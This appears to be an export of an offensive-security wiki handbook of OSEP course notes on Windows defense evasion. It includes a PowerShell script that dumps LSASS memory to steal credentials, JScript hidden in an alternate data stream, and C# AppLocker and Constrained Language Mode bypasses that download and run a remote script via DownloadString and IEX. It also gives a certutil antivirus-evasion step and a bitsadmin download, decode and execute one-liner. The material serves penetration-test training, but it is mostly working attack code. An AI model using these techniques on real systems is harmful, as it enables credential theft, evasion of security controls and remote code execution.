    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2356</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2356"/>
		<updated>2026-03-16T11:27:11Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
